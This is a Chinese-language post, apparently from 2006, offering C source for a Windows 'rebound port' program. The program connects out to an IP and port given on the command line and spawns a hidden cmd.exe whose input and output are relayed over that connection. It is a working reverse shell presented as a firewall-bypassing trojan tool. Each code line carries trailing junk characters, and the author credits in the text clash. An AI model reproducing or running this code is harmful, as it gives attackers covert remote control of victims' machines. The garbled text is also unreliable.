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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B3cf] S%  
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/* ============================== l~fh_IV1  
Rebound port in Windows NT *dG}R#9Nv  
By wind,2006/7 FYXw$7'l  
===============================*/ T\2) $  
#include +24|_Lx0  
#include 3b|7[7}&  
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#pragma comment(lib,"wsock32.lib") > h,y\uV1  
N /sEec  
void OutputShell(); O>SuZ>g+7  
SOCKET sClient; i?a,^UM5n[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (0OSGG9  
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void main(int argc,char **argv) tKG;k"wk  
{ "GwWu-GS  
WSADATA stWsaData; b(|%Gbg@c  
int nRet; 7wiK.99  
SOCKADDR_IN stSaiClient,stSaiServer; =`]|/<=9'U  
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if(argc != 3) %\X P:  
{ e0v9uQ%F5  
printf("Useage:\n\rRebound DestIP DestPort\n"); dysX  
return; DOF?(:8Y  
} Z]x  5!  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Y)Znb;`?a  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qeQC&U y;  
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stSaiClient.sin_family = AF_INET; P[rAJJN/E  
stSaiClient.sin_port = htons(0); -GDV[Bg  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pAJ=f}",]E  
";)r*UgR{B  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bK$/,,0=X/  
{ C 'B4 mmC  
printf("Bind Socket Failed!\n"); j<l#qho{h  
return; k Zk .]b  
} :SQDqG   
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stSaiServer.sin_family = AF_INET; Yl)eh(\&J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ERp:EZ'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %rM-"6Q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }yx=(+jP  
{ /e.FY9  
printf("Connect Error!"); FasI'Ulk  
return; U;';"9C2>  
} jo,6Aog|u  
OutputShell(); xZ^ywa_  
} 5 1o@b  
\g~ws9'~  
void OutputShell() _L*f8e8  
{ V~'k1P4  
char szBuff[1024]; Y)'!'J  
SECURITY_ATTRIBUTES stSecurityAttributes; b(q$j/~ zb  
OSVERSIONINFO stOsversionInfo; b:fxkQm  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n!UMU^  
STARTUPINFO stStartupInfo; 8`:M\*  
char *szShell; I$aXnd6)  
PROCESS_INFORMATION stProcessInformation; yD"]{  
unsigned long lBytesRead; s~'9Hv9  
f*{M3"$E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <)_:NRjBF&  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _wm~}_Q  
stSecurityAttributes.lpSecurityDescriptor = 0; McT\ R{/  
stSecurityAttributes.bInheritHandle = TRUE; ky'|Wk6   
a<f;\$h]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5c<b|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MS{Hz,I,  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^D9 /  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i'M^ez)u  
stStartupInfo.wShowWindow = SW_HIDE; nHI(V-E2:H  
stStartupInfo.hStdInput = hReadPipe; `[X6#` <  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f|X[gL,B  
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GetVersionEx(&stOsversionInfo); 5+y@ ]5&g  
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switch(stOsversionInfo.dwPlatformId) /t$rX3A  
{ utq.r_  
case 1: |tG05+M  
szShell = "command.com"; >oe4mW  
break; ])N|[|$  
default: TRSOO}  
szShell = "cmd.exe"; K{|w 43>D  
break; s0gJ f[  
}  G5!|y#T  
(})]H:W7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 86/.8  
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send(sClient,szMsg,77,0); ah 4kA LO  
while(1) XQK^$Iq]V  
{ ?x:m;z/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xy2\'kS`G  
if(lBytesRead) h{\t*U 54'  
{ w-J"zC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y= 2=DU  
send(sClient,szBuff,lBytesRead,0); :}^Rs9 '  
} Z#CxQ D%\  
else |drf"lX<{  
{ 6@&fvf  
lBytesRead=recv(sClient,szBuff,1024,0); 1d`cTaQ-  
if(lBytesRead<=0) break; :){)JZ}-95  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {!lNL[x  
} ,cLH*@  
} aXC!t  
P%iP:16  
return; %yeu"  
}
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